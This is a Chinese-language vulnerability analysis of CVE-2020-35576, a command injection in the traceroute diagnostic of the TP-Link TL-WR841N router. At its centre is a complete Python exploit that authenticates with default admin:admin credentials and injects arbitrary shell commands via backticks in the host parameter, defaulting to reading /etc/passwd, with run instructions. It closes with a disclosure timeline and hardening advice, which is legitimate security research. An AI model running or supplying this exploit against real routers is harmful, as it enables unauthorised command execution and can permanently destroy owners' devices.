TL-WR841N 命令注入挖掘和利用方法(CVE-2020-35576)
字数 931 2025-08-22 12:23:00

TP-Link TL-WR841N 命令注入漏洞分析与利用(CVE-2020-35576)

漏洞概述

TP-Link TL-WR841N 无线路由器存在一个参数注入漏洞(CVE-2020-35576),该漏洞允许经过身份验证的远程攻击者在系统上执行任意命令。漏洞存在于路由器的Traceroute诊断功能中,由于对用户输入过滤不严,导致攻击者可以注入恶意命令。

受影响版本

  • TL-WR841N(JP)_V13_161028 <=0.9.1 4.0 v0188.0 Build 161028 Rel.66845n

CVSS评分:7.2

漏洞发现过程

流量分析

路由器提供多种系统诊断工具,包括Ping和Traceroute功能。通过分析客户端与路由器的交互流量,发现以下关键请求序列:

  1. 初始化请求

    [ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0
    

    成功返回[error]0

  2. Traceroute诊断请求

    [TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8
    maxHopCount=20
    timeout=50
    numberOfTries=1
    host=127.0.0.1
    dataBlockSize=64
    X_TP_ConnName=ewan_ipoe_d
    diagnosticsState=Requested
    X_TP_HopSeq=0
    
  3. 结果查询请求

    [TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3
    diagnosticsState
    X_TP_HopSeq
    X_TP_Result
    

漏洞定位

通过模糊测试(Fuzzing)发现host参数存在命令注入漏洞。测试表明后台可能使用类似system("command")的方式执行Traceroute命令,攻击者可以通过闭合引号注入恶意命令。

漏洞利用

利用原理

host参数中注入命令,使用反引号(`)或引号闭合原有命令并执行额外命令:

host="`payload`"

完整利用POC

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
except IndexError:
    try:
        payload = sys.argv[1]
    except IndexError:
        print("[*] Command not specified, using the default `cat etc/passwd`")
        payload = 'cat etc/passwd'

# 默认凭证为admin:admin - 根据实际情况修改
cookies = {'Authorization': 'Basic YWRtaW46YWRtaW4='}
headers = {
    'Host': '192.168.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'text/plain',
    'Content-Length': '197',
    'Origin': 'http://192.168.0.1',
    'Connection': 'close',
    'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r
maxHopCount=20\r
timeout=50\r
numberOfTries=1\r
host="`{}`"\r
dataBlockSize=64\r
X_TP_ConnName=ewan_ipoe_d\r
diagnosticsState=Requested\r
X_TP_HopSeq=0\r
'''.format(payload)

response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
    response1.text.splitlines()[0]
except IndexError:
    sys.exit('[-] Cannot get response. Please check your cookie.')

if response1.text.splitlines()[0] != '[error]0':
    sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')

time.sleep(0.8)  # 为traceroute成功提供缓冲时间

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r
diagnosticsState\r
X_TP_HopSeq\r
X_TP_Result\r
'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)

if '=:' in response3.text.splitlines()[3]:
    print('[-] Command not supported.')
else:
    print('[+] Exploit successful!')
    for line_number, line in enumerate(response3.text.splitlines()):
        try:
            if line_number == 3:
                print(line[12:])
            if line_number > 3 and line != '[error]0':
                print(line)
            if 'not known' in line:
                break
        except IndexError:
            break

使用说明

  1. 保存上述代码为exploit.py
  2. 运行方式:
    python exploit.py [command]
    
    例如:
    python exploit.py "cat /etc/passwd"
    
  3. 如果没有指定命令,默认执行cat etc/passwd

警告:执行破坏性命令(如rm -rf)可能导致路由器永久损坏,无法通过重置恢复。

漏洞修复

厂商已发布修复固件,建议用户:

  1. 检查当前固件版本
  2. 访问TP-Link官方网站下载最新固件
  3. 按照厂商指导进行固件升级

漏洞时间线

  1. 报告给Vendor (security@tp-link.com)
  2. 分配CVE-2020-35576编号
  3. 向Vendor提供漏洞利用细节
  4. Vendor提供新固件版本
  5. 测试确认新固件修复漏洞
  6. Vendor公开发布修复固件

防御建议

  1. 及时更新路由器固件
  2. 修改默认管理员凭证
  3. 限制路由器管理界面的访问(如仅限内网访问)
  4. 实施输入验证和过滤,特别是对系统命令的参数
  5. 使用最小权限原则运行服务
TP-Link TL-WR841N 命令注入漏洞分析与利用(CVE-2020-35576) 漏洞概述 TP-Link TL-WR841N 无线路由器存在一个参数注入漏洞(CVE-2020-35576),该漏洞允许经过身份验证的远程攻击者在系统上执行任意命令。漏洞存在于路由器的Traceroute诊断功能中,由于对用户输入过滤不严,导致攻击者可以注入恶意命令。 受影响版本 : TL-WR841N(JP)_ V13_ 161028 <=0.9.1 4.0 v0188.0 Build 161028 Rel.66845n CVSS评分 :7.2 漏洞发现过程 流量分析 路由器提供多种系统诊断工具,包括Ping和Traceroute功能。通过分析客户端与路由器的交互流量,发现以下关键请求序列: 初始化请求 : 成功返回 [error]0 Traceroute诊断请求 : 结果查询请求 : 漏洞定位 通过模糊测试(Fuzzing)发现 host 参数存在命令注入漏洞。测试表明后台可能使用类似 system("command") 的方式执行Traceroute命令,攻击者可以通过闭合引号注入恶意命令。 漏洞利用 利用原理 在 host 参数中注入命令,使用反引号( ` )或引号闭合原有命令并执行额外命令: 完整利用POC 使用说明 保存上述代码为 exploit.py 运行方式: 例如: 如果没有指定命令,默认执行 cat etc/passwd 警告 :执行破坏性命令(如 rm -rf )可能导致路由器永久损坏,无法通过重置恢复。 漏洞修复 厂商已发布修复固件,建议用户: 检查当前固件版本 访问TP-Link官方网站下载最新固件 按照厂商指导进行固件升级 漏洞时间线 报告给Vendor (security@tp-link.com) 分配CVE-2020-35576编号 向Vendor提供漏洞利用细节 Vendor提供新固件版本 测试确认新固件修复漏洞 Vendor公开发布修复固件 防御建议 及时更新路由器固件 修改默认管理员凭证 限制路由器管理界面的访问(如仅限内网访问) 实施输入验证和过滤,特别是对系统命令的参数 使用最小权限原则运行服务